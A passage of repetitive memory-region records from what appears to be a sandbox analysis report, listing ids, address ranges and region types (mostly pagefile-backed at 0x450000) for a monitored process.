"pagefile_0x0000000000450000" filename = "" Region: id = 5104 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5105 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5106 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5107 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5108 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5109 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5110 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5111 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5112 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5113 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5114 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5115 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5116 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5117 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5118 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5119 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5120 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5121 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5122 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5123 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5124 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5125 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5126 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5127 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5128 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5129 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5130 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5131 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5132 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5133 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5134 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5135 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5136 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5137 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5138 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5139 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5140 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5141 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5142 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5143 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5144 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5145 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5146 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5147 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5148 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5149 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5150 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5151 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5152 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5153 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5154 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5155 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5156 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5157 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5158 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5159 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5160 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5161 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5162 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5163 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5164 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5165 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5166 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5167 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 5168 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5169 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5170 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5171 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5172 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5173 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5174 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5175 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5176 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5177 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5178 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5179 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5180 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5181 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5182 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5183 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5184 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5185 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5186 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5187 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5188 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5189 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5190 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5191 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5192 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5193 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5194 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5195 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5196 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5197 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5198 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5199 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5200 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5201 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5202 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5203 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5204 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5205 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5206 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5207 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5208 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5209 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5210 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5211 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5212 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5213 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5214 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5215 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5216 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5217 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5218 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5219 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5220 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5221 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5222 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5223 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5224 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5225 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5226 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5227 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5228 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5229 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5230 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5231 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5232 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5233 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5234 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5235 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5236 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5237 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5238 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5239 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5240 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5241 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5242 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5243 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5244 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5245 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5246 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5247 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5248 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5249 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5250 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5251 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5252 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5253 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5254 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5255 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5256 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5257 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5258 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5259 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5260 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5261 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5262 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5263 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5264 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5265 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5266 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5267 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5268 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5269 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5270 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5271 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5272 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5273 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5274 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 5275 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5276 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5277 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5278 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5279 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5280 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5281 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5282 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5283 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5284 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5285 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5286 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5287 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5288 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5289 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5290 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5291 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5292 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5293 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = 